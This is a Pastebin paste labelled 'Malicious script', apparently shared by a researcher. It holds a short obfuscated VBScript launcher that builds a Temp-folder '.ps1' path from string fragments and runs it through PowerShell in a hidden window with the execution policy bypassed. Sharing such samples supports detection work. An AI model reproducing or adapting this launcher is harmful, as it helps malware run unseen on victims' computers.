dynamoo

Malicious script

Jul 8th, 2015
281
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Dim dff
  2. dff = 68
  3. swdff = 68
  4. currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
  5. Set objFSO=CreateObject("Scripting.FileSystemObject")
  6. huih = "."&"ps"&"1"
  7. currentFile = "C:\Users\PSPUBWS\AppData\Local\Temp\"&"26417"&huih
  8. Set objShell = CreateObject("Wscript.shell")
  9. objShell.Run ""+"p"&"owerS"+"h"+"ell.e"+"x"+"e -noexit -ExecutionPolicy bypass -noprofile -file " & currentFile,0,true
RAW Paste Data